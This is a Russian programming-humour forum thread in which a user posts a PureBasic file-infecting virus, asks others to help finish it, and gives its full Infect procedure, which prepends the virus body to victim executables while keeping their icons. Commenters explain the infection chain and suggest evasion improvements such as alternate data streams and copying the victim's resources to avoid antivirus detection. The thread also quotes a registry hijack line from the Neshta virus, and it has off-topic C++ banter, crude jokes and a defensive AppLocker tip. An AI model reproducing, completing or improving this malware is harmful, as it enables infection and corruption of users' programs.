1. Куча / Говнокод #25085

    −6

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    ФайловыйВирус на Буревестнике. Иконку не портит. https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL
    https://pastebin.com/kKRzDStL

    Поможете доделать??

    https://pastebin.com/kKRzDStL

    Запостил: Sers, 13 Ноября 2018

    Комментарии (94) RSS

    • [p]Инфицирование[/p]

      Procedure Infect(Path.s, *P)
        Define hFile.i,fSize.i,*nBuff, BR,*IC
        *IC=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,4286)
        GetIcon(Path, *IC)
        hFile=CreateFile_(@Path,#GENERIC_READ|#GENERIC_WRITE,#FILE_SHARE_READ,0,#OPEN_EXISTING,0,0)
        If hFile=#INVALID_HANDLE_VALUE:Goto Close:EndIf
        fSize=GetFileSize_(hFile,0)
        If fSize < 16000 And fSize > 5194368 :Goto Close :EndIf
        BR=0
        *nBuff=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,fSize+VirSize)
        RtlMoveMemory_(*nBuff, *P, VirSize)
        RtlMoveMemory_(*nBuff+icoffset,*IC,  4264)
        SetFilePointer_(hFile,0,0,#FILE_BEGIN)
        ReadFile_(hFile,*nBuff+VirSize,fSize,@BR,0)
        If CompareMemory(*P, *nBuff+VirSize,200) <> 0:Goto Exit:EndIf
        SetFilePointer_(hFile,0,0,#FILE_BEGIN)
        SetEndOfFile_(hFile)
        WriteFile_(hFile, *nBuff, fSize+VirSize, @BR,0)
        SetEndOfFile_(hFile)
        Exit:
        GlobalFree_(*nBuff)
        Close:
        CloseHandle_(hFile)
        GlobalFree_(*IC)
      EndProcedure
      Ответить
      • А что, блинк уже не работает? Rfrbt nen to` ntub&
        Ответить
      • Кстати, а как это говнецо записать без Goto? В пасцале бы я допустим сделал через try..finally.

        Ответить
        • Чё, в каждом форке звать CloseHandle_(hFile) и GlobalFree_(*IC)?

          if something is bad then
          CloseHandle_(hFile)
          GlobalFree_(*IC)
          else
          if virsize is < 16044 then
          CloseHandle_(hFile)
          GlobalFree_(*IC)
          end;

          ???
          Ответить
          • finally не нужен, тк инициирует процедуру размотки стека.
            GoTo в 100% случаев будет интерпретирован компилятором как инструкция JNE/JNZ, что гораздо менее ресурсоемко.
            Ответить
            • Ну можно по-сишному через аналог do ... while(0) и бряк из него, раз хочется экономить на спичках.
              Ответить
        • RAII не завезли?
          Ответить
          • И что, RAII мне освободит память, выделенную вызовами системных API?
            Ответить
            • Да. Один раз пишешь RAIIшные обёрточки и забываешь про все эти ебучие CloseHandle навсегда.
              Ответить
              • Прискорбно. Наверно, я слишком отравлен паскалем, чтобы понимать сомнительные удобства c++. И вообще, свобода губит людей. растлевает.
                Ответить
                • Ага, после крестов на сишку или паскаль уже не вернуться ;(
                  Ответить
                  • Почему вы все проигнорировали вопрос про шоблоёблоны?
                    Я думал вам нравится пиздеть про си плюс плюс
                    Ответить
                    • Про компиляцию? Хороший вопрос был, я как раз хотел почитать ответы, поучиться.
                      Ответить
                      • Я тоже хотел бы почитать ответы, но там развели какой-то балаган...
                        Ответить
                        • Кстати, шоблоёбло
                          В крестах же без static_assert (а до 11 никак вообще) не ограничить тип шаблона? Кококоварианты как в C# и Java сосут буй?

                          А с другой жобе и шарпеях можно папапапараметризовать только типом, а в крестах можно кококонстаным выражением, к примеру вот это вот на жобу не переводимо
                          template <typename T, size_t max>
                          class Storage
                          {
                          public:
                          	T data[max];
                          	const size_t limit = max;
                          };
                          
                          template <typename T>
                          T petix()
                          {
                          	return T();
                          }
                          
                          void main()
                          {
                          	auto spam = petix<Storage<int, 20>>();
                          }
                          Ответить
                          • <?php
                            
                            function storage($max) {
                                eval('class Storage_'.$max.' {public $data = array(); const limit = '.$max.';};');
                                return 'Storage_'.$max;
                            }
                            
                            function petix($T) {
                                return new $T();
                            }
                            
                            $spam = petix(storage(20));
                            
                            var_dump($spam);
                            Ответить
                            • Кто использует eval,
                              того в рот монгол ебал
                              Ответить
                              • То ли дело жопоскрипт: new Function() и на лету прифигачиваем нужные поля и методы.
                                Ответить
                          • static_assert и в сишке можно запилить. У встроенного только сообщение об ошибке более няшное.

                            А в целом там обычно на утиную типизацию полагаются. Все нужные методы и функции есть для типа? Ну и заебись.

                            Если надо точнее - есть пиздецовая магия на основе Substitution Failure Is Not An Error которой можно более точно проверять условия и переключать варианты реализации. enable_if так и пилили.
                            Ответить
                            • Сфинае это когда шаблоно функции выкидывается из списка возможных перегрузок из за синатксической ашыбки?

                              Типа
                              class User
                              {
                              public:
                              	const std::string name = "foo";
                              
                              	typedef int age;
                              };
                              
                              template<class T>void doAll(typename   T::age age)
                              {
                              	std::cout << age;
                              }
                              
                              template <class T>void doAll(T t)
                              {
                              	std::cout << "hren";
                              }
                              
                              void main()
                              {
                              	doAll<User>(1); //будет 1
                              	doAll(1); //будет hren
                              }


                              игра с перегрузками функций это конечно дерганье за хвост карманного льва....
                              Ответить
                • Кстати, вот ещё один говновирус, только на пасцале https://xakep.ru/2004/08/09/23374/

                  Просто пальчики оближешь, там и устаревшие обёртки(привет, IO Error) BlockRead/BlockWrite в цикле и прочие извращения.
                  Ответить
                • Ты просто не пробовал, см. blub paradox.

                  Сишка плю плю позволяет делать такие штуки, которые на джаве решаются километрами унылого боейлерплейта. И на паскале тоже.
                  Ответить
          • Кстати, почему в RAII втащили питушню с деструкторами?
            RAII - когда инициализация захватывает питушню, ни про какое отпускание питушни в названии "RAII" речи не идёт.
            Или при формулировании RAII из принципа решили не делать длинных аббревиатур вроде WYSIWYG?
            Ответить
    • Чего это мой пост стёрли?
      Ответить
    • Вот бы на ассемблере такое запилить...
      Ответить
    • Я честно пытался разобрать код, но я нихуя не понял. WinApi туго идёт без смазки. Как происходит зорожение?
      Ответить
      • RtlMoveMemory_(*nBuff, *P, VirSize) ' копируем в начало буфера тело вируса
        RtlMoveMemory_(*nBuff+icoffset,*IC,  4264) ' копируем иконку
        SetFilePointer_(hFile,0,0,#FILE_BEGIN)
        ReadFile_(hFile,*nBuff+VirSize,fSize,@BR,0) ' читаем файл-жертву
        SetFilePointer_(hFile,0,0,#FILE_BEGIN)
        SetEndOfFile_(hFile)
        WriteFile_(hFile, *nBuff, fSize+VirSize, @BR,0) ' пишем в файл-жертву котакенацию вируса и исходного содержимого жертвы


        Короче, заражённый файл = вирус + исходный.

        Чтобы это взлетело, тело вируса должно уметь находить в своём файле тело исходного экзешника и запускать его.

        А ещё тут при повторном заражении будет КРОВЬ-КИШКИ-РАСПИДОРАСИЛО.
        Ответить
        • P.S. Нашёл в теле вируса Procedure Start(). Эта процедура как раз читает тело исходной жертвы из файла, пишет во временный файл и запускает. После отработки дочернего процесса убивает временный файл.
          Ответить
          • Я тут подумал, а ведь создавать временный файл в каталоге TEMP -- это палево.

            На "NTFS" можно использовать alternative data streams: пусть infected.exe создаёт infected.exe:tmp.exe, пишет в него и запускает. В файловых менеджерах infected.exe:tmp.exe не будет видно.

            Хотя всё равно будет палево в списке процессов. И окно отдельное будет создаваться.
            Ответить
            • Как-будто в temp'е что-то можно найти... Затеряется среди тонн прочей бесполезной хуйни.
              Ответить
              • Однажды я нашел там себя.
                Ответить
              • А вдруг юзер привык чистить TEMP вилкой?
                Ответить
                • Кого ебут временные файлы в папке Temp?
                  Вирус к этому времени уже заразит пол-диска.

                  Как Вы все уже поняли, этот вирус написал я - доктор.
                  Отпираться бессмысленно. На пасцале это говно весило бы килобайт 400-500. И борманда забанить я просил, ибо он оплёл сайт своей паутиной, как паук-крестовик.
                  Ответить
                  • Возможно, кто-то ждал, что я начну распространять скомпилированный вариант, но этого не будет. За меня всё сделают другие дебилы, тем более, что простор для изысканий я им уже дал.
                    Ответить
                  • GotoXY
                    Ответить
                  • Если ты хочешь грабить корованычтобы твой вирус был актуальным, перепиши его на 'php'; можешь быть уверен: мир будет у твоих ног.
                    Ответить
                  • Как Вы все уже поняли, этот вирус написал я - доктор.
                    Ага, дарю.
                    Ответить
                    • Я отписывался здесь больше всех, это мой вирус. А ты иди нахуй.
                      Ответить
                      • Попробуй извлечь и заменить всю секцию ресурсов . Тогда твой файл будет иметь подпись и иконки в точности как у оригинального а также, возможно, перестанет ругаться антивирус.
                        Ответить
                        • Надо попробовать анальный секс с годзилой.
                          Ответить
                          • >Я не смогу этого сделать, тк умею только спамить и брать в рот чужие хуи.

                            Тарас, ты?
                            Ответить
          • Тупой и ничем не примечательный вирус, использующий тот же алгоритм заражения, что и Neshta:
            1. открыть заражаемый файл для чтения
            2. считать файл в буфер
            3. закрыть файл.
            4. открыть файл для записи
            5. записать тело вируса в файл
            6. сдвинуть файловый указатель на смещение, равное длине вируса
            7. записать буфер с оригинальным файлом. // такие вещи палятся кашпером на раз
            8. закрыть файл.
            Кроме того, вирус умеет читать иконку из жертвы.

            Смещение иконки и размер вируса известны заранее и хранятся в теле в виде констант.
            При запуске, вирус проверяет, равна ли его длина заявленной, и если нет/больше - распаковывает стаб во временный файл и запускает, а сам в это время заражает другие файлы. Как только процесс стаба будет завершен (пользователь закончил работу с зараженной программой) вирус удалит его и скопируется на его место.

            Минусы.
            1.Значительное снижение быстродействия; при запуске зараженной программы будет значительная заминка, связанная с файловыми операциями.
            2. файл может быть заражен повторно, что приведёт к его порче.

            Единственный плюс - иконку не портит. Это - единственный исхоник в рунете (!) который не портит иконку.
            Ответить
            • Я очень рад, что на этом говне - purebasic - стали писаться вирусы.
              Дискредитация будет гарантирована, как когда-то для autoit.
              Ответить
            • >> Это - единственный исхоник в рунете (!) который не портит иконку.

              Надо доработать, чтобы он копировал не только иконку, но и другие данные из ресурсов (Description и т. п.).
              Ответить
            • > единственный в рунете
              Пиздец. Т.е. все примеры - вот такое вот унылое говно? Даже добавление кода в существующий бинарь не осилили?
              Ответить
              • Даже если и осилят, смысла в этом мало. Смена точки входа всегда палится.
                Файловые вирусы отжили своё.
                Ответить
                • Скорее даже не смена точки входа а запоротая подпись.
                  Ответить
                  • Если приложение подписано то заразить его практически нереально, но все ли приложения подписаны?
                    Ответить
                    • >Если приложение подписано то заразить его практически нереально

                      Реальнее реального, хотя бы тем способом, что описан выше.
                      При запуске зараженного файла, вирус распакует из него оригинальный файл, с подписью. Комар носа не подточит.
                      Ответить
                      • При запуске зараженного файла Windows скажет что подпись не соответствует файлу
                        Ответить
                        • С хуяли она не будет соответствовать? При заражении, как выше, файл не изменяется. Вообще никак.
                          Ответить
                          • Схуяли он не изменяется если ты сам пишешь

                            5. записать тело вируса в файл
                            6. сдвинуть файловый указатель на смещение, равное длине вируса
                            7. записать буфер с оригинальным файлом.
                            Ответить
                            • >> 5. записать тело вируса в файл

                              Этот файл будет вообще без подписи. Если запуск неподписанных экзешников не запрещён, всё пройдёт на ура.
                              Ответить
                              • Если не нужен UAC то да, ок
                                Ответить
                                • Вспомнил анекдот.

                                  В одном конструкторском бюро изобрели часы, которые уходят на минуту вперёд каждый раз, когда кто-нибудь в помещении произносит матерное слово. Для испытания нового прибора повесили несколько экземпляров в разных организациях, а через сутки пришли снять показания.

                                  Приходят в детский сад — часы ушли на 5 минут.

                                  Приходят в школу — часы ушли на час.

                                  Приходят в воинскую часть — часы исчезли. Спрашивают у солдата, что случилось. Он отвечает: «А нам командир приказал снять этот ёбаный пропеллер нахуй».
                                  Ответить
                                  • Не знаю почему ты вспомнил этот детсадовский анекдот.
                                    На вот тогда тебе еще один детсадовский

                                    Едит Чебурашка и Гена в автобусе и Чебурашка спрашивает Гена на чем мы едем? Гена отвечает в автобусе а Чебурашке послышалось в сосиске

                                    Едут дальше Чебурашка спрашивает кто нас везет? Шофер, ответил Гена, а Чебурашке послышалось бобер.

                                    Едут дальше врезались в столб. Чебурашка спрашивает во что мы врезались? В столб ответил Гена, а Чебурашке послышалось в салат.

                                    Останавливает их товарищ милиционер, Чебурашка спрашивает кто нас остановил? Гена отвечает товарищ милиционер, Чебурашке послышалось товарищ милиписькин.

                                    Выходит Чебурашка из автобуса и говорит: товарищ милиписькин бобер не виноват, мы ехали в сосиске и врезались в салат.
                                    Ответить
                                    • Я объясню, почему. Когда UAC выдаёт слишком много предупреждений, пользователи его выключают, как те часы-пропеллер из анекдота.
                                      Ответить
                                      • ну и долбоёбы

                                        нельзя уас отключать и сидеть под админом
                                        Ответить
                                        • Просто не надо скачивать пиратский "Photoshop". Либо плати, либо малюй в "Paint".
                                          Ответить
                                        • Некогда Борманд уже объяснял ситуацию.

                                          Бывает компьютер в банке на кассе, пользователи которого увольняются и меняются много чаще, чем переустанавливается ОС. В этом случае пользователю не дают ничего делать, чтобы он не повредил ненароком бомжественную ОС.

                                          Бывает компьютер дома. В папке "мои документы" лежат файлы пользователя за последние десять лет, папка "с диска D" с папками "с флэшки", "новое", "с диска E" и "разобрать" внутри, какие-то файлы с непонятными расширениями прошлого компа. Что-то из этого ещё даже забэкапиться не успело. Утрата вышеперечисленного -- потеря труда за последние годы, потеря истории и кусочка мозга.
                                          Есть там бесполезная папка "WINDOS", которая скопирована миллионами пользователей, ещё пара дурацких папок с программами, которые можно скачать в один клик.
                                          И что защищает UAC от удаления и порчи -- бесценные документы, которые больше нигде не найдёшь или очередную копию того, что везде есть и не проблема установить? Естественно, UAC защищает второе -- бессмысленное говно, а не штучную работу.
                                          Зловред-шифровальщик спокойно запускается без какого-то недовольства UAC и лишает пользователя всего нажитого. Зато миллион первую копию программы установить нельзя -- UAC просто бесится. В итоге это ненужное говно, от которого пользы меньше, чем вреда, нафиг отключают.
                                          Ответить
                                          • Кстати, да. Windows 7, 8.1 и 10 сейчас можно официально скачать с сайта Микрософта (семёрка для скачивания требует ключ, остальные не требуют).
                                            Ответить
                                            • Не поони маю, зойчем эти гоанооси когда есть великий и могучий виндовс икс пи?
                                              Ответить
                                              • Не понимаю, зачем нужно глючное и тормозное говно икс пи, когда есть лёгкая и всегда работающая Windows 3.1.
                                                Ответить
                                              • У тебя был джойсти
                                                https://upload.wikimedia.org/wikipedia/commons/2/2a/Amiga-Computer.jpg ?
                                                Ответить
                                          • В банке вообще не надо давать админа локальному юзеру, следовательно и UAC не нужен
                                            Ответить
                              • Кстати, а как запретить запуск неподписанных программ? Это было бы очень хорошее дело. Правда, в интернете инфы - 0
                                Ответить
                                • Через AppLocker в групповых политиках можно запретить всё сделав исключение для любого Publisher. Надо выбрать любой подписанный файл и выдвинуть бегунок на "Any publisher'

                                  https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd723683(v=ws.10)

                                  https://www.petri.com/block-untrusted-apps-using-applocker

                                  https://social.technet.microsoft.com/Forums/en-US/83a84ab3-3ff4-41a8-83e3-70765b866b70/applocker-block-unsigned-exes?forum=winserverGP
                                  Ответить
                                  • Именно поэтому я за "PHP".
                                    "PHP"-скрипт не нужно подписывать, чтобы запустить.
                                    Ответить
                                    • Розовые очки бъются стёклами внутрь, guest...
                                      Интерпретатор (а php является интерпретируемым языком - представляю твой баттхёрт) должен быть подписан, иначе система пошлёт его нахОй вместе с с тобой и твоими рулонами ^_^

                                      p.s. не будь жопошником.
                                      Ответить
                                      • Ну допустим, он подписан. Но ведь скрипты подписывать не надо.
                                        Ответить
                            • Ты троллить пытаешься, мил человек? Кстати, странно, что автор поста молчит. Наверно ты и есть он...
                              Ответить
                        • Смотри, есть target.exe. Вирус выполняет эквивалент такой команды:
                          copy /b virus.exe + target.exe target_infected.exe


                          При запуске заражённого target_infected.exe управление передаётся телу из virus.exe, который вообще не имеет подписи, поэтому проверяться ничего не будет. Тело вируса копирует тело оригинального target.exe в отдельный временный файл и запускает его. У оригинального target.exe сохранена подпись, поэтому он пройдёт проверку.
                          Ответить
                          • >>поэтому проверяться ничего не будет
                            Да, так сработает, но до первого UAC, например
                            Ответить
                  • COM файлы не нужно подписывать. Именно пожтому я за COM.
                    Ответить
                    • com файлы должны умещаться в 64K (размер сегмента), особо там не подписываешься
                      Ответить
                      • Давай изобретём 64-битный DOS с 64-битными COM-файлами?
                        Ответить
                • В своё время были вирусы, которые не меняли точку входа. У них был встроенный дизассемблер, который при заражении искал в жертве JMP или CALL и подменял адрес на адрес своего тела.
                  Ответить
            • Прочитал про Нешту:
              В реестре создается запись: [HKCR\exefile\shell\open\command] @="%WINDIR%\svchost.com \"%1\" %*"

              А это для верности, чтобы уж точно всё заразить?
              Ответить
              • Он не резидентный, так что ответ очевиден.
                Ответить

    Добавить комментарий